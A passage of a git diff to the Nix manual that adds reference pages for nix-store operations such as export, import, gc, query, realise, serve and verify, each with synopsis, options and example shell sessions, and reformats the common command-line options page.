permissions are left out except for the execute +bit, because all files in the Nix store have 444 or 555 permission. + +Also, a NAR archive is *canonical*, meaning that “equal” paths always +produce the same NAR archive. For instance, directory entries are +always sorted so that the actual on-disk order doesn’t influence the +result. This means that the cryptographic hash of a NAR dump of a +path is usable as a fingerprint of the contents of the path. Indeed, +the hashes of store paths stored in Nix’s database (see `nix-store --query +--hash`) are SHA-256 hashes of the NAR dump of each store path. + +NAR archives support filenames of unlimited length and 64-bit file +sizes. They can contain regular files, directories, and symbolic links, +but not other types of files (such as device nodes). + +A Nix archive can be unpacked using [`nix-store --restore`](@docroot@/command-ref/nix-store/restore.md). + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/export.md b/doc/manual/src/command-ref/nix-store/export.md new file mode 100644 index 000000000..ba772eb43 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/export.md @@ -0,0 +1,53 @@ +# Name + +`nix-store --export` - export store paths to a [Nix Archive] + +## Synopsis + +`nix-store` `--export` *paths…* + +## Description + +The operation `--export` writes a serialisation of the given [store objects](@docroot@/glossary.md#gloss-store-object) to standard output in a format that can be imported into another [Nix store](@docroot@/store/index.md) with [`nix-store --import`](./import.md). + +> **Warning** +> +> This command *does not* produce a [closure](@docroot@/glossary.md#gloss-closure) of the specified store paths. +> Trying to import a store object that refers to store paths not available in the target Nix store will fail. +> +> Use [`nix-store --query`](@docroot@/command-ref/nix-store/query.md) to obtain the closure of a store path. + +This command is different from [`nix-store --dump`](./dump.md), which produces a [Nix archive](@docroot@/glossary.md#gloss-nar) that *does not* contain the set of [references](@docroot@/glossary.md#gloss-reference) of a given store path. + +> **Note** +> +> For efficient transfer of closures to remote machines over SSH, use [`nix-copy-closure`](@docroot@/command-ref/nix-copy-closure.md). + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +# Examples + +> **Example** +> +> Deploy GNU Hello to an airgapped machine via USB stick. +> +> Write the closure to the block device on a machine with internet connection: +> +> ```shell-session +> [alice@itchy]$ storePath=$(nix-build '' -I nixpkgs=channel:nixpkgs-unstable -A hello --no-out-link) +> [alice@itchy]$ nix-store --export $(nix-store --query --requisites $storePath) | sudo dd of=/dev/usb +> ``` +> +> Read the closure from the block device on the machine without internet connection: +> +> ```shell-session +> [bob@scratchy]$ hello=$(sudo dd if=/dev/usb | nix-store --import | tail -1) +> [bob@scratchy]$ $hello/bin/hello +> Hello, world! +> ``` diff --git a/doc/manual/src/command-ref/nix-store/gc.md b/doc/manual/src/command-ref/nix-store/gc.md new file mode 100644 index 000000000..f432e00eb --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/gc.md @@ -0,0 +1,76 @@ +# Name + +`nix-store --gc` - run garbage collection + +# Synopsis + +`nix-store` `--gc` [`--print-roots` | `--print-live` | `--print-dead`] [`--max-freed` *bytes*] + +# Description + +Without additional flags, the operation `--gc` performs a garbage +collection on the Nix store. That is, all paths in the Nix store not +reachable via file system references from a set of “roots”, are deleted. + +The following suboperations may be specified: + +- `--print-roots` + + This operation prints on standard output the set of roots used by + the garbage collector. + +- `--print-live` + + This operation prints on standard output the set of “live” store + paths, which are all the store paths reachable from the roots. Live + paths should never be deleted, since that would break consistency — + it would become possible that applications are installed that + reference things that are no longer present in the store. + +- `--print-dead` + + This operation prints out on standard output the set of “dead” store + paths, which is just the opposite of the set of live paths: any path + in the store that is not live (with respect to the roots) is dead. + +By default, all unreachable paths are deleted. The following options +control what gets deleted and in what order: + +- `--max-freed` *bytes* + + Keep deleting paths until at least *bytes* bytes have been deleted, + then stop. The argument *bytes* can be followed by the + multiplicative suffix `K`, `M`, `G` or `T`, denoting KiB, MiB, GiB + or TiB units. + +The behaviour of the collector is also influenced by the +`keep-outputs` and `keep-derivations` settings in the Nix +configuration file. + +By default, the collector prints the total number of freed bytes when it +finishes (or when it is interrupted). With `--print-dead`, it prints the +number of bytes that would be freed. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +# Examples + +To delete all unreachable paths, just do: + +```console +$ nix-store --gc +deleting `/nix/store/kq82idx6g0nyzsp2s14gfsc38npai7lf-cairo-1.0.4.tar.gz.drv' +... +8825586 bytes freed (8.42 MiB) +``` + +To delete at least 100 MiBs of unreachable paths: + +```console +$ nix-store --gc --max-freed $((100 * 1024 * 1024)) +``` + diff --git a/doc/manual/src/command-ref/nix-store/generate-binary-cache-key.md b/doc/manual/src/command-ref/nix-store/generate-binary-cache-key.md new file mode 100644 index 000000000..8085d877b --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/generate-binary-cache-key.md @@ -0,0 +1,29 @@ +# Name + +`nix-store --generate-binary-cache-key` - generate key pair to use for a binary cache + +## Synopsis + +`nix-store` `--generate-binary-cache-key` *key-name* *secret-key-file* *public-key-file* + +## Description + +This command generates an [Ed25519 key pair](http://ed25519.cr.yp.to/) +that can be used to create a signed binary cache. It takes three +mandatory parameters: + +1. A key name, such as `cache.example.org-1`, that is used to look up + keys on the client when it verifies signatures. It can be anything, + but it’s suggested to use the host name of your cache (e.g. + `cache.example.org`) with a suffix denoting the number of the key + (to be incremented every time you need to revoke a key). + +2. The file name where the secret key is to be stored. + +3. The file name where the public key is to be stored. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/import.md b/doc/manual/src/command-ref/nix-store/import.md new file mode 100644 index 000000000..3f6b3d076 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/import.md @@ -0,0 +1,43 @@ +# Name + +`nix-store --import` - import [Nix Archive] into the store + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + +# Synopsis + +`nix-store` `--import` + +# Description + +The operation `--import` reads a serialisation of a set of [store objects](@docroot@/glossary.md#gloss-store-object) produced by [`nix-store --export`](./export.md) from standard input, and adds those store objects to the specified [Nix store](@docroot@/store/index.md). +Paths that already exist in the target Nix store are ignored. +If a path [refers](@docroot@/glossary.md#gloss-reference) to another path that doesn’t exist in the target Nix store, the import fails. + +> **Note** +> +> For efficient transfer of closures to remote machines over SSH, use [`nix-copy-closure`](@docroot@/command-ref/nix-copy-closure.md). + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +# Examples + +> **Example** +> +> Given a closure of GNU Hello as a file: +> +> ```shell-session +> $ storePath="$(nix-build '' -I nixpkgs=channel:nixpkgs-unstable -A hello --no-out-link)" +> $ nix-store --export $(nix-store --query --requisites $storePath) > hello.closure +> ``` +> +> Import the closure into a [remote SSH store](@docroot@/store/types/ssh-store.md) using the [`--store`](@docroot@/command-ref/conf-file.md#conf-store) option: +> +> ```console +> $ nix-store --import --store ssh://alice@itchy.example.org < hello.closure +> ``` + diff --git a/doc/manual/src/command-ref/nix-store/load-db.md b/doc/manual/src/command-ref/nix-store/load-db.md new file mode 100644 index 000000000..e2f438ed6 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/load-db.md @@ -0,0 +1,18 @@ +# Name + +`nix-store --load-db` - import Nix database + +# Synopsis + +`nix-store` `--load-db` + +# Description + +The operation `--load-db` reads a dump of the Nix database created by +`--dump-db` from standard input and loads it into the Nix database. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/opt-common.md b/doc/manual/src/command-ref/nix-store/opt-common.md new file mode 100644 index 000000000..dd9a6bf21 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/opt-common.md @@ -0,0 +1,36 @@ +# Options + +The following options are allowed for all `nix-store` operations, but may not always have an effect. + +- [`--add-root`](#opt-add-root) *path* + + Causes the result of a realisation (`--realise` and + `--force-realise`) to be registered as a root of the garbage + collector. *path* will be created as a symlink to the resulting + store path. In addition, a uniquely named symlink to *path* will + be created in `/nix/var/nix/gcroots/auto/`. For instance, + + ```console + $ nix-store --add-root /home/eelco/bla/result --realise ... + + $ ls -l /nix/var/nix/gcroots/auto + lrwxrwxrwx 1 ... 2005-03-13 21:10 dn54lcypm8f8... -> /home/eelco/bla/result + + $ ls -l /home/eelco/bla/result + lrwxrwxrwx 1 ... 2005-03-13 21:10 /home/eelco/bla/result -> /nix/store/1r11343n6qd4...-f-spot-0.0.10 + ``` + + Thus, when `/home/eelco/bla/result` is removed, the GC root in the + `auto` directory becomes a dangling symlink and will be ignored by + the collector. + + > **Warning** + > + > Note that it is not possible to move or rename GC roots, since + > the symlink in the `auto` directory will still point to the old + > location. + + If there are multiple results, then multiple symlinks will be + created by sequentially numbering symlinks beyond the first one + (e.g., `foo`, `foo-2`, `foo-3`, and so on). + diff --git a/doc/manual/src/command-ref/nix-store/optimise.md b/doc/manual/src/command-ref/nix-store/optimise.md new file mode 100644 index 000000000..b257466b2 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/optimise.md @@ -0,0 +1,41 @@ +# Name + +`nix-store --optimise` - reduce disk space usage + +## Synopsis + +`nix-store` `--optimise` + +## Description + +The operation `--optimise` reduces Nix store disk space usage by finding +identical files in the store and hard-linking them to each other. It +typically reduces the size of the store by something like 25-35%. Only +regular files and symlinks are hard-linked in this manner. Files are +considered identical when they have the same [Nix Archive (NAR)][Nix Archive] serialisation: +that is, regular files must have the same contents and permission +(executable or non-executable), and symlinks must have the same +contents. + +After completion, or when the command is interrupted, a report on the +achieved savings is printed on standard error. + +Use `-vv` or `-vvv` to get some progress indication. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +## Example + +```console +$ nix-store --optimise +hashing files in `/nix/store/qhqx7l2f1kmwihc9bnxs7rc159hsxnf3-gcc-4.1.1' +... +541838819 bytes (516.74 MiB) freed by hard-linking 54143 files; +there are 114486 files with equal contents out of 215894 files in total +``` + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive diff --git a/doc/manual/src/command-ref/nix-store/print-env.md b/doc/manual/src/command-ref/nix-store/print-env.md new file mode 100644 index 000000000..bd2084ef6 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/print-env.md @@ -0,0 +1,31 @@ +# Name + +`nix-store --print-env` - print the build environment of a derivation + +## Synopsis + +`nix-store` `--print-env` *drvpath* + +## Description + +The operation `--print-env` prints out the environment of a derivation +in a format that can be evaluated by a shell. The command line arguments +of the builder are placed in the variable `_args`. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +## Example + +```console +$ nix-store --print-env $(nix-instantiate '' -A firefox) +… +export src; src='/nix/store/plpj7qrwcz94z2psh6fchsi7s8yihc7k-firefox-12.0.source.tar.bz2' +export stdenv; stdenv='/nix/store/7c8asx3yfrg5dg1gzhzyq2236zfgibnn-stdenv' +export system; system='x86_64-linux' +export _args; _args='-e /nix/store/9krlzvny65gdc8s7kpb6lkx8cd02c25c-default-builder.sh' +``` + diff --git a/doc/manual/src/command-ref/nix-store/query.md b/doc/manual/src/command-ref/nix-store/query.md new file mode 100644 index 000000000..b4efa734e --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/query.md @@ -0,0 +1,244 @@ +# Name + +`nix-store --query` - display information about store paths + +# Synopsis + +`nix-store` {`--query` | `-q`} + {`--outputs` | `--requisites` | `-R` | `--references` | `--referrers` | + `--referrers-closure` | `--deriver` | `-d` | `--valid-derivers` | + `--graph` | `--tree` | `--binding` *name* | `-b` *name* | `--hash` | + `--size` | `--roots`} + [`--use-output`] [`-u`] [`--force-realise`] [`-f`] + *paths…* + +# Description + +The operation `--query` displays various bits of information about the +store paths . The queries are described below. At most one query can be +specified. The default query is `--outputs`. + +The paths *paths* may also be symlinks from outside of the Nix store, to +the Nix store. In that case, the query is applied to the target of the +symlink. + +# Common query options + +- `--use-output` / `-u` + + For each argument to the query that is a [store derivation], apply the + query to the output path of the derivation instead. + +- `--force-realise` / `-f` + + Realise each argument to the query first (see [`nix-store --realise`](./realise.md)). + +[store derivation]: @docroot@/glossary.md#gloss-store-derivation + +# Queries + +- `--outputs` + + Prints out the [output paths] of the store + derivations *paths*. These are the paths that will be produced when + the derivation is built. + + [output paths]: @docroot@/glossary.md#gloss-output-path + +- `--requisites` / `-R` + + Prints out the [closure] of the store path *paths*. + + [closure]: @docroot@/glossary.md#gloss-closure + + This query has one option: + + - `--include-outputs` + Also include the existing output paths of [store derivation]s, + and their closures. + + This query can be used to implement various kinds of deployment. A + *source deployment* is obtained by distributing the closure of a + store derivation. A *binary deployment* is obtained by distributing + the closure of an output path. A *cache deployment* (combined + source/binary deployment, including binaries of build-time-only + dependencies) is obtained by distributing the closure of a store + derivation and specifying the option `--include-outputs`. + +- `--references` + + Prints the set of [references] of the store paths + *paths*, that is, their immediate dependencies. (For *all* + dependencies, use `--requisites`.) + + [references]: @docroot@/glossary.md#gloss-reference + +- `--referrers` + + Prints the set of *referrers* of the store paths *paths*, that is, + the store paths currently existing in the Nix store that refer to + one of *paths*. Note that contrary to the references, the set of + referrers is not constant; it can change as store paths are added or + removed. + +- `--referrers-closure` + + Prints the closure of the set of store paths *paths* under the + referrers relation; that is, all store paths that directly or + indirectly refer to one of *paths*. These are all the path currently + in the Nix store that are dependent on *paths*. + +- `--deriver` / `-d` + + Prints the [deriver] that was used to build the store paths *paths*. If + the path has no deriver (e.g., if it is a source file), or if the + deriver is not known (e.g., in the case of a binary-only + deployment), the string `unknown-deriver` is printed. + The returned deriver is not guaranteed to exist in the local store, for + example when *paths* were substituted from a binary cache. + Use `--valid-derivers` instead to obtain valid paths only. + + [deriver]: @docroot@/glossary.md#gloss-deriver + +- `--valid-derivers` + + Prints a set of derivation files (`.drv`) which are supposed produce + said paths when realized. Might print nothing, for example for source paths + or paths subsituted from a binary cache. + +- `--graph` + + Prints the references graph of the store paths *paths* in the format + of the `dot` tool of AT\&T's [Graphviz + package](http://www.graphviz.org/). This can be used to visualise + dependency graphs. To obtain a build-time dependency graph, apply + this to a store derivation. To obtain a runtime dependency graph, + apply it to an output path. + +- `--tree` + + Prints the references graph of the store paths *paths* as a nested + ASCII tree. References are ordered by descending closure size; this + tends to flatten the tree, making it more readable. The query only + recurses into a store path when it is first encountered; this + prevents a blowup of the tree representation of the graph. + +- `--graphml` + + Prints the references graph of the store paths *paths* in the + [GraphML](http://graphml.graphdrawing.org/) file format. This can be + used to visualise dependency graphs. To obtain a build-time + dependency graph, apply this to a [store derivation]. To obtain a + runtime dependency graph, apply it to an output path. + +- `--binding` *name* / `-b` *name* + + Prints the value of the attribute *name* (i.e., environment + variable) of the [store derivation]s *paths*. It is an error for a + derivation to not have the specified attribute. + +- `--hash` + + Prints the SHA-256 hash of the contents of the store paths *paths* + (that is, the hash of the output of `nix-store --dump` on the given + paths). Since the hash is stored in the Nix database, this is a fast + operation. + +- `--size` + + Prints the size in bytes of the contents of the store paths *paths* + — to be precise, the size of the output of `nix-store --dump` on + the given paths. Note that the actual disk space required by the + store paths may be higher, especially on filesystems with large + cluster sizes. + +- `--roots` + + Prints the garbage collector roots that point, directly or + indirectly, at the store paths *paths*. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +# Examples + +Print the closure (runtime dependencies) of the `svn` program in the +current user environment: + +```console +$ nix-store --query --requisites $(which svn) +/nix/store/5mbglq5ldqld8sj57273aljwkfvj22mc-subversion-1.1.4 +/nix/store/9lz9yc6zgmc0vlqmn2ipcpkjlmbi51vv-glibc-2.3.4 +... +``` + +Print the build-time dependencies of `svn`: + +```console +$ nix-store --query --requisites $(nix-store --query --deriver $(which svn)) +/nix/store/02iizgn86m42q905rddvg4ja975bk2i4-grep-2.5.1.tar.bz2.drv +/nix/store/07a2bzxmzwz5hp58nf03pahrv2ygwgs3-gcc-wrapper.sh +/nix/store/0ma7c9wsbaxahwwl04gbw3fcd806ski4-glibc-2.3.4.drv +... lots of other paths ... +``` + +The difference with the previous example is that we ask the closure of +the derivation (`-qd`), not the closure of the output path that contains +`svn`. + +Show the build-time dependencies as a tree: + +```console +$ nix-store --query --tree $(nix-store --query --deriver $(which svn)) +/nix/store/7i5082kfb6yjbqdbiwdhhza0am2xvh6c-subversion-1.1.4.drv ++---/nix/store/d8afh10z72n8l1cr5w42366abiblgn54-builder.sh ++---/nix/store/fmzxmpjx2lh849ph0l36snfj9zdibw67-bash-3.0.drv +| +---/nix/store/570hmhmx3v57605cqg9yfvvyh0nnb8k8-bash +| +---/nix/store/p3srsbd8dx44v2pg6nbnszab5mcwx03v-builder.sh +... +``` + +Show all paths that depend on the same OpenSSL library as `svn`: + +```console +$ nix-store --query --referrers $(nix-store --query --binding openssl $(nix-store --query --deriver $(which svn))) +/nix/store/23ny9l9wixx21632y2wi4p585qhva1q8-sylpheed-1.0.0 +/nix/store/5mbglq5ldqld8sj57273aljwkfvj22mc-subversion-1.1.4 +/nix/store/dpmvp969yhdqs7lm2r1a3gng7pyq6vy4-subversion-1.1.3 +/nix/store/l51240xqsgg8a7yrbqdx1rfzyv6l26fx-lynx-2.8.5 +``` + +Show all paths that directly or indirectly depend on the Glibc (C +library) used by `svn`: + +```console +$ nix-store --query --referrers-closure $(ldd $(which svn) | grep /libc.so | awk '{print $3}') +/nix/store/034a6h4vpz9kds5r6kzb9lhh81mscw43-libgnomeprintui-2.8.2 +/nix/store/15l3yi0d45prm7a82pcrknxdh6nzmxza-gawk-3.1.4 +... +``` + +Note that `ldd` is a command that prints out the dynamic libraries used +by an ELF executable. + +Make a picture of the runtime dependency graph of the current user +environment: + +```console +$ nix-store --query --graph ~/.nix-profile | dot -Tps > graph.ps +$ gv graph.ps +``` + +Show every garbage collector root that points to a store path that +depends on `svn`: + +```console +$ nix-store --query --roots $(which svn) +/nix/var/nix/profiles/default-81-link +/nix/var/nix/profiles/default-82-link +/home/eelco/.local/state/nix/profiles/profile-97-link +``` + diff --git a/doc/manual/src/command-ref/nix-store/read-log.md b/doc/manual/src/command-ref/nix-store/read-log.md new file mode 100644 index 000000000..d1ff17891 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/read-log.md @@ -0,0 +1,38 @@ +# Name + +`nix-store --read-log` - print build log + +# Synopsis + +`nix-store` {`--read-log` | `-l`} *paths…* + +# Description + +The operation `--read-log` prints the build log of the specified store +paths on standard output. The build log is whatever the builder of a +derivation wrote to standard output and standard error. If a store path +is not a derivation, the deriver of the store path is used. + +Build logs are kept in `/nix/var/log/nix/drvs`. However, there is no +guarantee that a build log is available for any particular store path. +For instance, if the path was downloaded as a pre-built binary through a +substitute, then the log is unavailable. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +# Example + +```console +$ nix-store --read-log $(which ktorrent) +building /nix/store/dhc73pvzpnzxhdgpimsd9sw39di66ph1-ktorrent-2.2.1 +unpacking sources +unpacking source archive /nix/store/p8n1jpqs27mgkjw07pb5269717nzf5f8-ktorrent-2.2.1.tar.gz +ktorrent-2.2.1/ +ktorrent-2.2.1/NEWS +... +``` + diff --git a/doc/manual/src/command-ref/nix-store/realise.md b/doc/manual/src/command-ref/nix-store/realise.md new file mode 100644 index 000000000..a899758df --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/realise.md @@ -0,0 +1,94 @@ +# Name + +`nix-store --realise` - build or fetch store objects + +# Synopsis + +`nix-store` {`--realise` | `-r`} *paths…* [`--dry-run`] + +# Description + + +Each of *paths* is processed as follows: + +- If the path leads to a [store derivation]: + 1. If it is not [valid], substitute the store derivation file itself. + 2. Realise its [output paths]: + - Try to fetch from [substituters] the [store objects] associated with the output paths in the store derivation's [closure]. + - With [content-addressed derivations] (experimental): + Determine the output paths to realise by querying content-addressed realisation entries in the [Nix database]. + - For any store paths that cannot be substituted, produce the required store objects: + 1. Realise all outputs of the derivation's dependencies + 2. Run the derivation's [`builder`](@docroot@/language/derivations.md#attr-builder) executable + +- Otherwise, and if the path is not already valid: Try to fetch the associated [store objects] in the path's [closure] from [substituters]. + +If no substitutes are available and no store derivation is given, realisation fails. + +[store paths]: @docroot@/store/store-path.md +[valid]: @docroot@/glossary.md#gloss-validity +[store derivation]: @docroot@/glossary.md#gloss-store-derivation +[output paths]: @docroot@/glossary.md#gloss-output-path +[store objects]: @docroot@/store/store-object.md +[closure]: @docroot@/glossary.md#gloss-closure +[substituters]: @docroot@/command-ref/conf-file.md#conf-substituters +[content-addressed derivations]: @docroot@/development/experimental-features.md#xp-feature-ca-derivations +[Nix database]: @docroot@/glossary.md#gloss-nix-database + +The resulting paths are printed on standard output. +For non-derivation arguments, the argument itself is printed. + +{{#include ../status-build-failure.md}} + +# Options + +- `--dry-run` + + Print on standard error a description of what packages would be + built or downloaded, without actually performing the operation. + +- `--ignore-unknown` + + If a non-derivation path does not have a substitute, then silently + ignore it. + +- `--check` + + This option allows you to check whether a derivation is + deterministic. It rebuilds the specified derivation and checks + whether the result is bitwise-identical with the existing outputs, + printing an error if that’s not the case. The outputs of the + specified derivation must already exist. When used with `-K`, if an + output path is not identical to the corresponding output from the + previous build, the new output path is left in + `/nix/store/name.check.` + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +# Examples + +This operation is typically used to build [store derivation]s produced by +[`nix-instantiate`](@docroot@/command-ref/nix-instantiate.md): + +```console +$ nix-store --realise $(nix-instantiate ./test.nix) +/nix/store/31axcgrlbfsxzmfff1gyj1bf62hvkby2-aterm-2.3.1 +``` + +This is essentially what [`nix-build`](@docroot@/command-ref/nix-build.md) does. + +To test whether a previously-built derivation is deterministic: + +```console +$ nix-build '' --attr hello --check -K +``` + +Use [`nix-store --read-log`](./read-log.md) to show the stderr and stdout of a build: + +```console +$ nix-store --read-log $(nix-instantiate ./test.nix) +``` diff --git a/doc/manual/src/command-ref/nix-store/repair-path.md b/doc/manual/src/command-ref/nix-store/repair-path.md new file mode 100644 index 000000000..9c3d9f7cd --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/repair-path.md @@ -0,0 +1,35 @@ +# Name + +`nix --repair-path` - re-download path from substituter + +# Synopsis + +`nix-store` `--repair-path` *paths…* + +# Description + +The operation `--repair-path` attempts to “repair” the specified paths +by redownloading them using the available substituters. If no +substitutes are available, then repair is not possible. + +> **Warning** +> +> During repair, there is a very small time window during which the old +> path (if it exists) is moved out of the way and replaced with the new +> path. If repair is interrupted in between, then the system may be left +> in a broken state (e.g., if the path contains a critical system +> component like the GNU C Library). + +# Example + +```console +$ nix-store --verify-path /nix/store/dj7a81wsm1ijwwpkks3725661h3263p5-glibc-2.13 +path `/nix/store/dj7a81wsm1ijwwpkks3725661h3263p5-glibc-2.13' was modified! + expected hash `2db57715ae90b7e31ff1f2ecb8c12ec1cc43da920efcbe3b22763f36a1861588', + got `481c5aa5483ebc97c20457bb8bca24deea56550d3985cda0027f67fe54b808e4' + +$ nix-store --repair-path /nix/store/dj7a81wsm1ijwwpkks3725661h3263p5-glibc-2.13 +fetching path `/nix/store/d7a81wsm1ijwwpkks3725661h3263p5-glibc-2.13'... +… +``` + diff --git a/doc/manual/src/command-ref/nix-store/restore.md b/doc/manual/src/command-ref/nix-store/restore.md new file mode 100644 index 000000000..2d0aa3127 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/restore.md @@ -0,0 +1,20 @@ +# Name + +`nix-store --restore` - extract a Nix archive + +## Synopsis + +`nix-store` `--restore` *path* + +## Description + +The operation `--restore` unpacks a [Nix Archive (NAR)][Nix Archive] to *path*, which must +not already exist. The archive is read from standard input. + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/serve.md b/doc/manual/src/command-ref/nix-store/serve.md new file mode 100644 index 000000000..9a4cf5216 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/serve.md @@ -0,0 +1,39 @@ +# Name + +`nix-store --serve` - serve local Nix store over SSH + +# Synopsis + +`nix-store` `--serve` [`--write`] + +# Description + +The operation `--serve` provides access to the Nix store over stdin and +stdout, and is intended to be used as a means of providing Nix store +access to a restricted ssh user. + +The following flags are available: + +- `--write` + + Allow the connected client to request the realization of + derivations. In effect, this can be used to make the host act as a + remote builder. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +# Examples + +To turn a host into a build server, the `authorized_keys` file can be +used to provide build access to a given SSH public key: + +```console +$ cat <>/root/.ssh/authorized_keys +command="nice -n20 nix-store --serve --write" ssh-rsa AAAAB3NzaC1yc2EAAAA... +EOF +``` + diff --git a/doc/manual/src/command-ref/nix-store/verify-path.md b/doc/manual/src/command-ref/nix-store/verify-path.md new file mode 100644 index 000000000..927201599 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/verify-path.md @@ -0,0 +1,29 @@ +# Name + +`nix-store --verify-path` - check path contents against Nix database + +## Synopsis + +`nix-store` `--verify-path` *paths…* + +## Description + +The operation `--verify-path` compares the contents of the given store +paths to their cryptographic hashes stored in Nix’s database. For every +changed path, it prints a warning message. The exit status is 0 if no +path has changed, and 1 otherwise. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +## Example + +To verify the integrity of the `svn` command and all its dependencies: + +```console +$ nix-store --verify-path $(nix-store --query --requisites $(which svn)) +``` + diff --git a/doc/manual/src/command-ref/nix-store/verify.md b/doc/manual/src/command-ref/nix-store/verify.md new file mode 100644 index 000000000..40c9180db --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/verify.md @@ -0,0 +1,38 @@ +# Name + +`nix-store --verify` - check Nix database for consistency + +# Synopsis + +`nix-store` `--verify` [`--check-contents`] [`--repair`] + +# Description + +The operation `--verify` verifies the internal consistency of the Nix +database, and the consistency between the Nix database and the Nix +store. Any inconsistencies encountered are automatically repaired. +Inconsistencies are generally the result of the Nix store or database +being modified by non-Nix tools, or of bugs in Nix itself. + +This operation has the following options: + +- `--check-contents` + + Checks that the contents of every valid store path has not been + altered by computing a SHA-256 hash of the contents and comparing it + with the hash stored in the Nix database at build time. Paths that + have been modified are printed out. For large stores, + `--check-contents` is obviously quite slow. + +- `--repair` + + If any valid path is missing from the store, or (if + `--check-contents` is given) the contents of a valid path has been + modified, then try to repair the path by redownloading it. See + `nix-store --repair-path` for details. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} diff --git a/doc/manual/src/command-ref/opt-common-syn.md b/doc/manual/src/command-ref/opt-common-syn.md deleted file mode 100644 index b66d318c2..000000000 --- a/doc/manual/src/command-ref/opt-common-syn.md +++ /dev/null @@ -1,57 +0,0 @@ -\--help - -\--version - -\--verbose - -\-v - -\--quiet - -\--log-format - -format - -\--no-build-output - -\-Q - -\--max-jobs - -\-j - -number - -\--cores - -number - -\--max-silent-time - -number - -\--timeout - -number - -\--keep-going - -\-k - -\--keep-failed - -\-K - -\--fallback - -\--readonly-mode - -\-I - -path - -\--option - -name - -value diff --git a/doc/manual/src/command-ref/opt-common.md b/doc/manual/src/command-ref/opt-common.md index e612c416f..69a700207 100644 --- a/doc/manual/src/command-ref/opt-common.md +++ b/doc/manual/src/command-ref/opt-common.md @@ -2,218 +2,209 @@ Most Nix commands accept the following command-line options: - - [`--help`]{#opt-help}\ - Prints out a summary of the command syntax and exits. +- [`--help`](#opt-help) - - [`--version`]{#opt-version}\ - Prints out the Nix version number on standard output and exits. + Prints out a summary of the command syntax and exits. - - [`--verbose`]{#opt-verbose} / `-v`\ - Increases the level of verbosity of diagnostic messages printed on - standard error. For each Nix operation, the information printed on - standard output is well-defined; any diagnostic information is - printed on standard error, never on standard output. +- [`--version`](#opt-version) - This option may be specified repeatedly. Currently, the following - verbosity levels exist: + Prints out the Nix version number on standard output and exits. - - 0\ - “Errors only”: only print messages explaining why the Nix - invocation failed. +- [`--verbose`](#opt-verbose) / `-v` - - 1\ - “Informational”: print *useful* messages about what Nix is - doing. This is the default. + Increases the level of verbosity of diagnostic messages printed on standard error. + For each Nix operation, the information printed on standard output is well-defined; + any diagnostic information is printed on standard error, never on standard output. - - 2\ - “Talkative”: print more informational messages. + This option may be specified repeatedly. + Currently, the following verbosity levels exist: - - 3\ - “Chatty”: print even more informational messages. + - `0` “Errors only” - - 4\ - “Debug”: print debug information. + Only print messages explaining why the Nix invocation failed. - - 5\ - “Vomit”: print vast amounts of debug information. + - `1` “Informational” - - [`--quiet`]{#opt-quiet}\ - Decreases the level of verbosity of diagnostic messages printed on - standard error. This is the inverse option to `-v` / `--verbose`. + Print *useful* messages about what Nix is doing. + This is the default. - This option may be specified repeatedly. See the previous verbosity - levels list. + - `2` “Talkative” - - [`--log-format`]{#opt-log-format} *format*\ - This option can be used to change the output of the log format, with - *format* being one of: + Print more informational messages. - - raw\ - This is the raw format, as outputted by nix-build. + - `3` “Chatty” - - internal-json\ - Outputs the logs in a structured manner. + Print even more informational messages. - > **Warning** - > - > While the schema itself is relatively stable, the format of - > the error-messages (namely of the `msg`-field) can change - > between releases. + - `4` “Debug” - - bar\ - Only display a progress bar during the builds. + Print debug information. - - bar-with-logs\ - Display the raw logs, with the progress bar at the bottom. + - `5` “Vomit” - - [`--no-build-output`]{#opt-no-build-output} / `-Q`\ - By default, output written by builders to standard output and - standard error is echoed to the Nix command's standard error. This - option suppresses this behaviour. Note that the builder's standard - output and error are always written to a log file in - `prefix/nix/var/log/nix`. + Print vast amounts of debug information. - - [`--max-jobs`]{#opt-max-jobs} / `-j` 